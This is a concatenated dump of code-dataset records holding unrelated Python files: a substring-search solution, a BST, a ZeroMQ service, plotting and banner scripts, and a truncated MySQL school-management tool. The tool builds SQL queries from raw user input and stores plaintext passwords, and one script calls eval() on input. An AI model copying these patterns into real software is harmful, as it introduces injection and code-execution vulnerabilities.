和一些长度相同的单词 words。找出 s 中恰好可以由 words 中所有单词串联形成的子串的起始位置。\n\n注意子串要与 words 中的单词完全匹配,中间不能有其他字符,但不需要考虑 words 中单词串联的顺序。\n\n\"\"\"\n\n\nclass Solution:\n def findSubstring(self, s: str, words: List[str]) -> List[int]:\n\n # 1. 统计每个单词出现的次数\n # 2. 滑动窗口长度固定\n # 3. 对滑动窗口进行切分\n # 4. 统计切分后每个单词的出现次数\n if not s or not words:\n return []\n from collections import Counter\n one_word_length = len(words[0])\n sum_length = one_word_length * len(words)\n words = Counter(words)\n length_s = len(s)\n res = []\n for i in range(0, length_s - sum_length + 1):\n temp = s[i:i+sum_length]\n c_temp = []\n for j in range(0, sum_length, one_word_length):\n c_temp.append(temp[j:j+one_word_length])\n c_temp = Counter(c_temp)\n if c_temp == words:\n res.append(i)\n continue\n return res\n","sub_path":"slide_window/findSubstring.py","file_name":"findSubstring.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"346716976","text":"#!/usr/bin/env python\n#encoding: utf-8\n\nscore = [[201,77],[202,82],[203,93],[204,87],[205,88],[206,91]]\nid_str = input(\"请输入学号:\")\nid = eval(id_str)\nflag = 0\nfor x in score:\n if(x[0] == id):\n flag = 1\n print(x[1])\nif flag == 0:\n print(\"列表中无此学号,请重新输入\")\n","sub_path":"NortheasternUniversity/4.2.py","file_name":"4.2.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"429290778","text":"#!/usr/bin/env python2.7\n\n\"\"\"Messaging service\n\nAuthor(s): Sean Henely\nLanguage: Python 2.x\nModified: 22 June 2016\n\nTBD.\n\nClasses:\nMessagingService -- TBD\n\"\"\"\n\n\"\"\"Change log:\n \nDate Author Version Description\n---------- ------------ -------- -----------------------------\n2014-06-20 shenely 1.0 Initial revision\n2014-09-15 shenely 1.1 No idea what a proxy is\n2016-06-22 shenely 1.2 Refactoring directories\n\n\"\"\"\n\n\n##################\n# Import section #\n#\n#Built-in libraries\nimport logging\n\n#External libraries\nimport zmq\nimport zmq.devices\n\n#Internal libraries\nfrom ..dev.router import ThreadRouter\nfrom . import ServiceObject\n#\n##################\n\n\n##################\n# Export section #\n#\n__all__ = [\"MessagingService\"]\n#\n##################\n\n\n####################\n# Constant section #\n#\n__version__ = \"1.2\"#current version [major.minor]\n#\n####################\n\n\nclass MessagingService(ServiceObject):\n \n def __init__(self):\n super(MessagingService, self).__init__()\n \n def start(self):\n if super(MessagingService,self).start():\n self.proxy = zmq.devices.ThreadDevice(zmq.FORWARDER,\n zmq.SUB, zmq.PUB)\n self.router = ThreadRouter()\n \n return True\n else:\n return False\n \n def stop(self):\n if super(MessagingService, self).stop():\n self.proxy.join()\n self.router.join()\n \n return True\n else:\n return False\n \n def pause(self):\n if super(MessagingService, self).pause():\n #XXX: Can devices really be paused? (shenely, 2014-06-16)\n return True\n else:\n return False\n \n def resume(self):\n if super(MessagingService, self).resume():\n self.proxy.bind_in(\"tcp://127.0.0.1:5555\")\n self.proxy.bind_out(\"tcp://127.0.0.1:5556\")\n self.router.bind(\"tcp://127.0.0.1:5560\")\n \n self.proxy.setsockopt_in(zmq.SUBSCRIBE, \"\")\n \n self.run()\n \n return True\n else:\n return False\n \n def run(self):\n if self._running:\n self.proxy.start()\n self.router.start()\n else:\n self.resume()","sub_path":"ouroboros_old/srv/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":2476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"30410420","text":"from datetime import datetime, timedelta\r\nimport csv\r\nimport os\r\nfrom decimal import *\r\n\r\ndef get_estimates(path, dict_csv=False):\r\n estimates = None\r\n with open(path, 'r') as est_file:\r\n reader = csv.reader(est_file)\r\n if dict_csv:\r\n reader = csv.DictReader(est_file)\r\n # only one line\r\n for row in reader:\r\n estimates = row\r\n break\r\n return estimates\r\n\r\ndef main():\r\n dir_path = os.path.dirname(os.path.realpath(__file__))\r\n path = os.path.join(dir_path, '../matlab/outputs/EV_estimates.csv')\r\n estimates = get_estimates(path)\r\n ev_rep = int(estimates[1])\r\n ev_dem = int(estimates[2])\r\n\r\n ev_metamargin = Decimal(estimates[12]).quantize(Decimal('0.1'))\r\n\r\n ev_ahead_str = 'D+'\r\n if ev_metamargin < 0:\r\n ev_ahead_str = 'R+'\r\n\r\n path = os.path.join(dir_path, '../matlab/outputs/Senate_estimates.csv')\r\n estimates = get_estimates(path)\r\n sen_seats_dem = int(estimates[0])\r\n sen_seats_rep = 100 - sen_seats_dem\r\n sen_metamargin = Decimal(estimates[-1]).quantize(Decimal('0.1'))\r\n\r\n sen_ahead_str = 'D+'\r\n if sen_metamargin < 0:\r\n sen_ahead_str = 'R+'\r\n\r\n path = os.path.join(dir_path, '../scraping/outputs/2020.generic.polls.median.csv')\r\n estimates = get_estimates(path, dict_csv=True)\r\n gen_metamargin = (Decimal(estimates['median_margin']) - 3).quantize(Decimal('0.1'))\r\n\r\n gen_ahead_str = 'D+'\r\n if gen_metamargin < 0:\r\n gen_ahead_str = 'R+'\r\n\r\n weekday_num = datetime.now().date().weekday()\r\n past_sunday = datetime.now() + timedelta(days=-weekday_num)\r\n end_of_week = past_sunday + timedelta(days=6)\r\n weekstartnum = past_sunday.strftime(\"%d\")\r\n weekendnum = end_of_week.strftime(\"%d\")\r\n\r\n datestring = ''\r\n if past_sunday.month != end_of_week.month:\r\n start_month = past_sunday.strftime(\"%b\")\r\n end_month = end_of_week.strftime(\"%b\")\r\n datestring = f'{start_month} {weekstartnum} - {end_month} {weekendnum}, 2020'\r\n else:\r\n month = past_sunday.strftime(\"%b\")\r\n datestring = f'{month} {weekstartnum}-{weekendnum}, 2020'\r\n \r\n datestring = datetime.now().strftime(\"%b %d\")\r\n\r\n ev_mm_str = f'{ev_ahead_str}{abs(ev_metamargin)}% from toss-up'\r\n sen_mm_str = f'{sen_ahead_str}{abs(sen_metamargin)}%'\r\n gen_mm_str = f'{gen_ahead_str}{abs(gen_metamargin)}%'\r\n\r\n banner = f\"\"\"\r\n
\r\n {datestring}: Biden {ev_dem} EV ({ev_mm_str}), Senate {sen_seats_dem} D, {sen_seats_rep} R ({sen_mm_str}), House control {gen_mm_str}\r\n
\r\n Moneyball states: President NV GA AZ, Senate MT ME IA, Legislatures KS TX NC\r\n
\r\n \"\"\"\r\n\r\n dir_path = os.path.dirname(os.path.realpath(__file__))\r\n path = os.path.join(dir_path, 'banner.html')\r\n with open(path, 'w') as bannerfile:\r\n bannerfile.write(banner)\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"banner/banner.py","file_name":"banner.py","file_ext":"py","file_size_in_byte":3196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"249110463","text":"import numpy as np\n\nfrom homework.ClassifierModel import Classifier\n\n\nclass LeastSquare(Classifier):\n def __init__(self):\n Classifier.__init__(self)\n\n def get_data(self, split):\n # Add x0=1 for every feature vector\n x0 = np.ones(self.m)\n self.sample_data = np.c_[x0, self.sample_data]\n\n # Add a column vector of m dimensions to form 1-of-m\n y = - self.sample_data[:, -1] + 1\n self.sample_data = np.c_[self.sample_data, y]\n\n # Get the train data, test data and expected labels in vector\n split_num = int(self.m * split)\n self.train_data = self.sample_data[0:split_num]\n self.test_data = self.sample_data[split_num:]\n self.expected = self.test_data[:, -2]\n\n def fit(self):\n # Using normal equation to calculate the weight parameters\n x = np.mat(self.train_data[:, 0:-2])\n y = np.mat(self.train_data[:, -2:])\n x_t = x.T\n xx = x_t * x\n self.weights = xx.I * x_t * y\n\n def predict(self):\n feature_set = self.test_data[:, 0:-2]\n m, n = feature_set.shape\n if n != self.weights.shape[0]:\n print(\"Wrong size of test data!\")\n else:\n y = np.dot(feature_set, self.weights)\n\n # We can classify x to class k for which yk is bigger\n for i in range(m):\n row = y[i]\n if row[0, 0] > row[0, 1]:\n row[0, 0] = 1\n else:\n row[0, 0] = 0\n self.predicted = y[:, 0]\n\n","sub_path":"homework/LeastSquareModel.py","file_name":"LeastSquareModel.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"594886046","text":"# Name: Allie Blaising \r\n\r\nfrom queue_array import Queue\r\n\r\nclass TreeNode:\r\n def __init__(self, key, data, left=None, right=None):\r\n self.key = key\r\n self.data = data\r\n self.left = left\r\n self.right = right\r\n\r\n def __eq__(self, other):\r\n return ((type(other) == TreeNode)\r\n and self.key == other.key\r\n and self.data == other.data\r\n and self.left == other.left\r\n and self.right == other.right\r\n )\r\n\r\n def __repr__(self):\r\n return (\"TreeNode({!r}, {!r}, {!r}, {!r})\".format(self.key, self.data, self.left, self.right))\r\n\r\nclass BinarySearchTree:\r\n\r\n def __init__(self): # Returns empty BST\r\n self.root = None\r\n\r\n def is_empty(self): # returns True if tree is empty, else False\r\n return self.root == None # If self.root is None then we know that there is nothing in \r\n # the tree\r\n\r\n def search(self, key): \r\n if self.root != None: # While there are still nodes to check, then we can call self.search_helper \r\n # on the next node \r\n return self.search_helper(key, self.root) # Return the result of looking for this node \r\n # at the root of the tree\r\n else: \r\n return False \r\n\r\n def search_helper(self, key, current_node): \r\n if key == current_node.key: \r\n return True \r\n elif key < current_node.key and current_node.left != None: \r\n return self.search_helper(key, current_node.left)\r\n elif key > current_node.key and current_node.right != None: \r\n return self.search_helper(key, current_node.right)\r\n return False \r\n\r\n\r\n def insert(self, key, data=None):\r\n if self.root == None: # If there is no root, then create a new TreeNode with key and data (None) and set \r\n # as root \r\n self.root = TreeNode(key, data)\r\n else: # If there is at least one root: \r\n current = self.root # Initiate current to self.root \r\n inserted = False \r\n while not inserted: # While we haven't found the location of the last node we are going to inser, i.e. the \r\n # last node, in either right or left direction depending on key value, then we keep going through the below \r\n # conditional structure: \r\n if key < current.key: # If key < current.key then we know we're going to look left first \r\n if current.left != None: # If there is a left child, then we move to that left child, making \r\n # current the next left child and returning to beginning of while loop \r\n current = current.left \r\n else: # If there is no left child, i.e., we've reached the end of the last line, then we \r\n # make a new node and true inserted True \r\n current.left = TreeNode(key, data)\r\n inserted = True\r\n elif key > current.key: # If key > current.key then we know we're going to look right first \r\n if current.right != None: \r\n current = current.right # If there is a right child left to traverse, then change current, to \r\n # next right child \r\n else: \r\n current.right = TreeNode(key, data) # If we've reached the last right child node, then we \r\n # can create a new node and assign it to the current.right, i.e. make current that didn't have a \r\n # a child, now have a child \r\n inserted = True # Conditional to break out of the loop \r\n else: \r\n current.key = key # Condition to check if the key has already been inserted, if current.key is already \r\n # equal to key, then inserted is True because it was already apart of the list \r\n inserted = True \r\n\r\n\r\n\r\n def find_min(self): \r\n if self.root != None: \r\n current = self.root \r\n while current.left != None: # The min key is always going to be the last left child, so we are going \r\n # to traverse through every left child, until the current node's left child is none at which point \r\n # we know we've reached the end of the list. \r\n current = current.left \r\n return (current.key, current.data) # Return key and data is tuple form \r\n else: \r\n return None # If there is just one node, then we want to return None, nothing to traverse to look for min \r\n\r\n\r\n\r\n def find_max(self): \r\n if self.root != None: \r\n current = self.root \r\n while current.right != None: # Same as above, but with right child now \r\n current = current.right\r\n return (current.key, current.data)\r\n else: \r\n return None\r\n\r\n\r\n def tree_height(self):\r\n if self.root != None: # If tree is not empty then feed self.root (top node) into \r\n # tree_height_helper function \r\n return self.tree_height_helper(self.root, 0)\r\n else: \r\n return None # If empty case return None \r\n\r\n\r\n def tree_height_helper(self, current_node, current_height): \r\n if current_node == None: # Checks empty condition \r\n return current_height \r\n else: \r\n left_height = self.tree_height_helper(current_node.left, current_height) \r\n right_height = self.tree_height_helper(current_node.right, current_height)\r\n return max(left_height, right_height)\r\n\r\n # return the height of the tree\r\n # returns None if tree is empty\r\n\r\n def inorder_list(self): \r\n inorder_list = []\r\n current = self.root\r\n return self.inorder_list_helper(current, inorder_list)\r\n\r\n\r\n def inorder_list_helper(self, current, inorder_list): \r\n if current is None: \r\n return \r\n if current.left: \r\n self.inorder_list_helper(current.left, inorder_list) \r\n inorder_list.append(current.key)\r\n if current.right:\r\n self.inorder_list_helper(current.right, inorder_list)\r\n return inorder_list\r\n\r\n## self.root\r\n # return Python list of BST keys representing in-order traversal of BST\r\n # pass\r\n\r\n def preorder_list(self): # return Python list of BST keys representing pre-order traversal of BST\r\n preorder_list = []\r\n current = self.root \r\n self.preorder_list_helper(current, preorder_list)\r\n return preorder_list\r\n\r\n\r\n def preorder_list_helper(self, current, preorder_list): \r\n if current is None: \r\n return \r\n preorder_list.append(current.key)\r\n if current.left: \r\n self.preorder_list_helper(current.left, preorder_list)\r\n if current.right: \r\n self.preorder_list_helper(current.right, preorder_list) \r\n return \r\n\r\n\r\n def level_order_list(self): # return Python list of BST keys representing level-order traversal of BST\r\n # You MUST use your queue_array data structure from lab 3 to implement this method\r\n q = Queue(25000) \r\n temp_list = []\r\n q.enqueue(self.root)\r\n while not q.is_empty(): \r\n output_node = q.dequeue() \r\n if output_node.left != None: \r\n q.enqueue(output_node.left) \r\n if output_node.right != None: \r\n q.enqueue(output_node.right)\r\n temp_list.append(output_node.key)\r\n return temp_list\r\n\r\n\r\n \r\n","sub_path":"binary_search_tree.py","file_name":"binary_search_tree.py","file_ext":"py","file_size_in_byte":7627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"421592790","text":"\n\nfrom xai.brain.wordbase.nouns._go import _GO\n\n#calss header\nclass _GOES(_GO, ):\n\tdef __init__(self,): \n\t\t_GO.__init__(self)\n\t\tself.name = \"GOES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"go\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_goes.py","file_name":"_goes.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"611887285","text":"import risar\r\nimport time\r\nimport sys\r\nfrom random import randint\r\nfrom math import sqrt\r\n\r\nzacetek= 0\r\nx= randint(0, 800)\r\ny= randint(0, 500)\r\nkrog = risar.krog(x,y,10,risar.barva(randint(0,255),randint(0,255),randint(0,255)))\r\nsx= randint(-5,5)\r\nsy= sqrt(25 - sx**2)\r\nwhile True:\r\n start= time.time()\r\n x += sx\r\n y += sy\r\n if y - 10 < 0:\r\n sy *= -1\r\n if y + 10 > 500:\r\n sy *= -1\r\n if x - 10 < 0:\r\n sx *= -1\r\n if x + 10 > 800:\r\n sx *= -1\r\n krog.setPos(x, y)\r\n risar.cakaj(0.02)\r\n end = time.time()\r\n zacetek +=(end-start)\r\n if zacetek > 20:\r\n sys.exit(0)\r\n\r\n","sub_path":"code/batch-2/vse-naloge-brez-testov/DN14-M-144.py","file_name":"DN14-M-144.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"163355865","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport os\n\nimport get_dc_data\n\n# Differential figure.\n\ncasedata = get_dc_data.retrieve(download=False)\n\nf2 = plt.figure(figsize=(6,4))\nplt.suptitle(\"COVID-19 Case Increments, District of Columbia \",\n fontweight=\"bold\")\nplt.title(\"github.com/reidac/covid19-curve-dc\", style=\"oblique\")\nplt.xlabel(\"Case count\")\nplt.ylabel(\"Case increment\")\n\ndx = casedata.positive[:-1]\ndy = np.array([casedata.positive[i+1]-casedata.positive[i]\n for i in range(len(dx))])\n\nplt.scatter(dx,dy,marker=\"o\",s=10,color=\"k\",zorder=10)\n\nif \"FIG_PATH\" in os.environ:\n fig_path = os.environ['FIG_PATH']\nelse:\n fig_path = \".\"\n\nplt.savefig(\"{0}/us_dc_diff.png\".format(fig_path),dpi=300,bbox_inches=\"tight\")\n\nprint(\"Scatter plot of reported DC Covid-19 case increments vs. cumulative case totals, daily since March 8, 2020.\")\n","sub_path":"increments.py","file_name":"increments.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"359630159","text":"\"\"\"\r\n项目的名称: main.py\r\n文件的名称: handle_log \r\n文件时间: 2021-01-28 15:21\r\n\"\"\"\r\n\r\n\r\nimport logging\r\nimport os\r\nimport datetime\r\n\r\nfrom Common.handle_config import conf\r\nfrom Common.handle_path import logs_dir\r\n\r\n\r\nclass MyLogger(logging.Logger):\r\n\r\n def __init__(self,file=None):\r\n # 设置输出级别、输出渠道、输出日志格式\r\n # super().__init__(name,level)\r\n super().__init__(conf.get(\"log\", \"name\"), conf.get(\"log\", \"level\"))\r\n\r\n # 日志格式\r\n fmt = '%(asctime)s %(name)s %(levelname)s %(filename)s-%(lineno)d line:%(message)s'\r\n formatter = logging.Formatter(fmt)\r\n\r\n # 控制台渠道\r\n handle1 = logging.StreamHandler()\r\n handle1.setFormatter(formatter)\r\n self.addHandler(handle1)\r\n\r\n if file:\r\n # 文件渠道\r\n handle2 = logging.FileHandler(file,encoding=\"utf-8\")\r\n handle2.setFormatter(formatter)\r\n self.addHandler(handle2)\r\n\r\n\r\n# 是否需要写入文件\r\nif conf.getboolean(\"log\", \"file_ok\"):\r\n time = datetime.datetime.now().strftime('%Y_%m_%d')\r\n file_name = os.path.join(logs_dir, conf.get(\"log\", \"file_name\"))\r\n file_name = file_name + time + \".log\"\r\nelse:\r\n file_name = None\r\n\r\n\r\nlogger = MyLogger(file_name)\r\n\r\n# logger.info(\"This is a test file!\")","sub_path":"JDXCheckAPI/Common/my_logger.py","file_name":"my_logger.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"300325567","text":"#-*- coding: utf-8 -*-\n####管理员账户\n\nimport pymysql\nimport time\nimport os\n\nclass SystemManager:\n\tdef __init__(self,conn,account,pw):\n\t\tself.conn = conn\n\t\tself.width = 150\n\t\tself.account = account\n\t\tcur = self.conn.cursor()\n\t\tself.password= pw\n\n\tdef MainFunc(self):\n\t\tinfo = ''\n\t\twhile True:\n\t\t\tself.MainSurface(info)\n\t\t\tchoice = input('What to do?')\n\t\t\tchoice = choice.upper()\n\t\t\tif choice == 'T':\n\t\t\t\tself.OperatTeacher()\n\t\t\telif choice == 'M':\n\t\t\t\tself.OperatMessage()\n\t\t\telif choice == 'S':\n\t\t\t\tself.OperatStudent()\n\t\t\telif choice == 'Q': break;\n\t\t\telse: info = 'Error Action!'\n\t\n\tdef OperatTeacher(self):\n\t\t####操作教职工\n\t\tinfo = ''\n\t\twhile True:\n\t\t\tself.TeacherInfoSurface(info)\n\t\t\tself.ScanTeacherInfo()\n\t\t\tprint ('-' * self.width)\n\t\t\tchoice = input('What to do?')\n\t\t\tchoice = choice.upper()\n\t\t\tif choice == 'R':\n\t\t\t\tinfo = self.RegTeacher()\n\t\t\telif choice == 'C':\n\t\t\t\tinfo = self.ChangeTeacherInfo()\n\t\t\telif choice == 'I':\n\t\t\t\tinfo = self.InitTeacherPassword()\n\t\t\telif choice == 'D':\n\t\t\t\tinfo = self.DeleteTeacher()\n\t\t\telif choice == 'Q': break\n\t\t\telse: info = 'Error Acction!'\n\t\t\t\n\tdef ScanTeacherInfo(self):\n\t\t####浏览教职工消息\n\t\tcur = self.conn.cursor()\n\t\tsqlcmd = \"select T.Id,T.Name,T.TeacherNo,T.Gender,T.Birth,P.PositionName,T.Salary from TeacherInfo T,PositionList P where T.PositionNo = P.PositionNo\"\n\t\tcur.execute(sqlcmd)\n\t\tprint ('%3s|%20s|%12s|%8s|%15s|%15s|%15s' % ('Id','Name','TeacherNo','Gender','BornDate','Position','Salary'))\n\t\twhile True:\n\t\t\tres = cur.fetchone()\n\t\t\tif not res: break\n\t\t\tprint ('%3d|%20s|%12s|%8s|%15s|%15s|%15.2f' % (res[0],res[1],res[2],res[3],res[4],res[5],res[6]))\n\t\tprint ('-' * self.width)\n\t\tcur.close()\n\tdef RegTeacher(self):\n\t\t####注册教职工\n\t\tcur = self.conn.cursor()\n\t\tprint ('')\n\t\ttitle = ' Register New Teacher'\n\t\tprint (title )\n\t\tname = input(' Name:')\n\t\tnumber = input(' Teacher Number:')\n\t\tgender = input(' Gender:')\n\t\tbirth = input(' Born Date:')\n\t\tpos = self.PrintPositionInfo()\n\t\tposition=input('Position Number:')\n\t\tsalary = input(' Salary:')\n\t\tsqlcmd = \"insert into TeacherInfo(Name,TeacherNo,Gender,Birth,PositionNo,Salary) values('%s','%s','%s','%s',%d,%f)\" % (name,number,gender,birth,position,salary)\n\t\tres = cur.execute(sqlcmd)\n\t\tinfo = 'Register Success!'\n\t\tif res == 0: \n\t\t\tinfo = 'Register Fail!'\n\t\t\tself.conn.rollback()\n\t\telse :\n\t\t\tsqlcmd = 'select Password from DefaultPassword where AccountLevel = 1'\n\t\t\tif cur.execute(sqlcmd) == 0:\n\t\t\t\tinfo = 'Register Fail!'\n\t\t\t\tself.conn.rollback()\n\t\t\telse :\n\t\t\t\tpw = cur.fetchone()\n\t\t\t\tsqlcmd = \"insert into LoginAccount(Account,Password,AccountLevel) values('%s','%s',1)\" % (number,pw[0])\n\t\t\t\tif cur.execute(sqlcmd) == 0:\n\t\t\t\t\tinfo = 'Register Fail!'\n\t\t\t\t\tself.conn.rollback()\n\t\t\t\telse :\n\t\t\t\t\tself.conn.commit()\n\t\tcur.close()\n\t\treturn info\n\tdef ChangeTeacherInfo(self):\n\t\t####修改教职工信息\n\t\tcur = self.conn.cursor()\n\t\tprint ('')\n\t\ttitle = ' Change Teacher Information'\n\t\tprint (title)\n\t\tteacherNo = input('TeacherNo:')\n\t\tsqlcmd = \"select Name,TeacherNo,Gender,Birth,PositionNo,Salary from TeacherInfo where TeacherNo = '%s'\" % teacherNo\n\t\tres = cur.execute(sqlcmd)\n\t\tinfo = 'Change Success!'\n\t\tif res == 0:\n\t\t\tinfo = 'Cannot find this teacher'\n\t\telse :\n\t\t\ttemp = cur.fetchone()\n\t\t\tprint ('old information: %s %s %s %s %d %.2f' % (temp[0],temp[1],temp[2],temp[3],temp[4],temp[5]))\n\t\t\tname = input(' Name:')\n\t\t\tnumber = input(' Teacher Number:')\n\t\t\tgender = input(' Gender:')\n\t\t\tbirth = input(' Born Date:')\n\t\t\tself.PrintPositionInfo()\n\t\t\tposition=input('Position Number:')\n\t\t\tsalary = input(' Salary:')\n\t\t\tsqlcmd = \"update TeacherInfo Set Name='%s',TeacherNo='%s',Gender='%s',Birth='%s',PositionNo=%d,Salary=%.2f where TeacherNo = '%s'\" % (name,number,gender,birth,position,salary,teacherNo)\n\t\t\tres = cur.execute(sqlcmd)\n\t\t\tif res == 0:\n\t\t\t\tinfo = 'Change Fail!'\n\t\t\t\tself.conn.rollback()\n\t\t\telse :\n\t\t\t\tif number != temp[1]:\n\t\t\t\t\tsqlcmd = \"update LoginAccount set Account='%s' where Account='%s'\" %(number,temp[1])\n\t\t\t\t\tif cur.execute(sqlcmd) == 0:\n\t\t\t\t\t\tinfo = 'Change Fail!'\n\t\t\t\t\t\tself.conn.rollback()\n\t\t\t\t\telse :\n\t\t\t\t\t\tself.conn.commit()\n\t\t\t\telse :\n\t\t\t\t\tself.conn.commit()\n\t\tcur.close()\n\t\treturn info\n\tdef InitTeacherPassword(self):\n\t\t####初始化教职工密码\n\t\tcur = self.conn.cursor()\n\t\tsqlcmd = 'select Password from DefaultPassword where AccountLevel = 1'\n\t\tinfo = 'Initial Success!'\n\t\tif cur.execute(sqlcmd) == 0: \n\t\t\tinfo = 'Initial Fail'\n\t\t\tself.conn.rollback()\n\t\telse:\n\t\t\tnewPw = cur.fetchone()\n\t\t\tif not newPw: \n\t\t\t\tinfo = 'Initial Fail'\n\t\t\t\tself.conn.rollback()\n\t\t\telse:\n\t\t\t\tteacherNo = input('Teacher Number:')\n\t\t\t\tsqlcmd = \"select Password from LoginAccount where Account = '%s'\" % teacherNo\n\t\t\t\tif 0 == cur.execute(sqlcmd):\n\t\t\t\t\tinfo = 'Initial Fail'\n\t\t\t\t\tself.conn.rollback()\n\t\t\t\telse :\n\t\t\t\t\toldPw = cur.fetchone()\n\t\t\t\t\tif oldPw[0] != newPw[0]:\n\t\t\t\t\t\tsqlcmd = \"update LoginAccount set Password='%s' where Account = '%s'\" %(newPw[0],teacherNo)\n\t\t\t\t\t\tif cur.execute(sqlcmd) == 0:\n\t\t\t\t\t\t\tinfo = 'Initial Fail'\t\n\t\t\t\t\t\t\tself.conn.rollback()\n\t\t\t\t\t\telse: \n\t\t\t\t\t\t\tself.conn.commit()\n\t\tcur.close()\n\t\treturn info\n\tdef\tDeleteTeacher(self):\n\t\t####删除教职工信息\n\t\tcur = self.conn.cursor()\n\t\tprint(' Delete Teacher')\n\t\tteacherNo = input('Teacher Number:')\n\t\tsqlcmd = \"delete from TeacherInfo where TeacherNo = '%s'\" % teacherNo\n\t\tres = cur.execute(sqlcmd)\n\t\tinfo = 'Delete Success!'\n\t\tif res == 0:\n\t\t\tinfo = 'Delete Fail!'\n\t\t\tself.conn.rollback()\n\t\telse :\n\t\t\tsqlcmd = \"delete from LoginAccount where Account = '%s'\" % teacherNo\n\t\t\tres = cur.execute(sqlcmd)\n\t\t\tif res == 0: \n\t\t\t\tinfo = 'Delete Fail!'\n\t\t\t\tself.conn.rollback()\n\t\t\telse : self.conn.commit()\n\t\tcur.close()\n\t\treturn info\n\tdef PrintPositionInfo(self):\n\t\tcur = self.conn.cursor()\n\t\tcur.execute('select PositionNo,PositionName from PositionList')\n\t\tpos = []\n\t\twhile True:\n\t\t\ttp = cur.fetchone()\n\t\t\tif not tp: break;\n\t\t\tpos.append(tp)\n\t\tprint( ' '*10,'-'*30)\n\t\tprint( ' '*10 ,'POSTIONS')\n\t\tprint (' '*10,'-'*30)\n\t\tit = pos.__iter__()\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\ttemp = it.next()\n\t\t\t\tprint (' ' * 10, temp[0],' : ',temp[1])\n\t\t\texcept:\n\t\t\t\tbreak;\n\t\tprint (' '*10,'-'*30\t)\n\t\tcur.close()\n\t\n\tdef OperatStudent(self):\n\t\t####操作学生\n\t\tinfo = ''\n\t\twhile True:\n\t\t\tself.StudentInfoSurface(info)\n\t\t\tself.ScanStudentInfo()\n\t\t\tprint ('-' * self.width)\n\t\t\tchoice = input('What to do?')\n\t\t\tchoice = choice.upper()\n\t\t\tif choice == 'R':\n\t\t\t\tinfo = self.RegStudent()\n\t\t\telif choice == 'C':\n\t\t\t\tinfo = self.ChangeStudentInfo()\n\t\t\telif choice == 'I':\n\t\t\t\tinfo = self.InitStudentPassword()\n\t\t\telif choice == 'D':\n\t\t\t\tinfo = self.DeleteStudent()\n\t\t\telif choice == 'Q': break;\n\t\t\telse: info = 'Error Acction!'\n\t\t\t\n\tdef ScanStudentInfo(self):\n\t\t####浏览学生消息\n\t\tcur = self.conn.cursor()\n\t\tsqlcmd = \"select S.Id,S.Name,S.StudentNo,S.Gender,S.Birth,S.Grade,S.Academy,S.Major,T.Name from StudentInfo S,TeacherInfo T where S.TeacherNo = T.TeacherNo\"\n\t\tcur.execute(sqlcmd)\n\t\tprint ('%3s|%20s|%15s|%8s|%15s|%5s|%20s|%20s|%20s' % ('Id','Name','Student Number','Gender','Born Date','Grade','Academy','Major','Teacher'))\n\t\twhile True:\n\t\t\tres = cur.fetchone()\n\t\t\tif not res: break\n\t\t\tprint ('%3d|%20s|%15s|%8s|%15s|%5s|%20s|%20s|%20s' % (res[0],res[1],res[2],res[3],res[4],res[5],res[6],res[7],res[8]))\n\t\tprint ('-' * self.width)\n\t\tcur.close()\n\t\t\n\tdef RegStudent(self):\n\t\t####注册学生\n\t\tcur = self.conn.cursor()\n\t\tprint( '')\n\t\ttitle = ' Register New Student'\n\t\tprint (title )\n\t\tname = input(' Name:')\n\t\tnumber = input('Student number:')\n\t\tgender = input(' Gender:')\n\t\tbirth = input(' Born Date:')\n\t\tgrade = input(' Grade:')\n\t\tacademy= input(' Academy:')\n\t\tmajor = input(' Major:')\n\t\tteacher= input('Teacher Number:')\n\t\tsqlcmd = \"insert into StudentInfo(Name,StudentNo,Gender,Birth,Grade,Academy,Major,TeacherNo) values('%s','%s','%s','%s','%s','%s','%s','%s')\" % (name,number,gender,birth,grade,academy,major,teacher)\n\t\tres = cur.execute(sqlcmd)\n\t\tinfo = 'Register Success!'\n\t\tif res == 0: \n\t\t\tinfo = 'Register Fail!'\n\t\t\tself.conn.rollback()\n\t\telse :\n\t\t\tsqlcmd = 'select Password from DefaultPassword where AccountLevel = 2'\n\t\t\tif cur.execute(sqlcmd) == 0:\n\t\t\t\tinfo = 'Register Fail!'\n\t\t\t\tself.conn.rollback()\n\t\t\telse :\n\t\t\t\tpw = cur.fetchone()\n\t\t\t\tsqlcmd = \"insert into LoginAccount(Account,Password,AccountLevel) values('%s','%s',2)\" % (number,pw[0])\n\t\t\t\tif cur.execute(sqlcmd) == 0:\n\t\t\t\t\tinfo = 'Register Fail!'\n\t\t\t\t\tself.conn.rollback()\n\t\t\t\telse :\n\t\t\t\t\tself.conn.commit()\n\t\tcur.close()\n\t\treturn info\n\tdef ChangeStudentInfo(self,):\n\t\t####修改学生信息\n\t\tcur = self.conn.cursor()\n\t\tprint ('')\n\t\ttitle = ' Change Student Information'\n\t\tprint (title)\n\t\tstudentNo = input('Student Number:')\n\t\tsqlcmd = \"select Name,StudentNo,Gender,Birth,Grade,Academy,Major,TeacherNo from StudentInfo where StudentNo = '%s'\" % studentNo\n\t\tres = 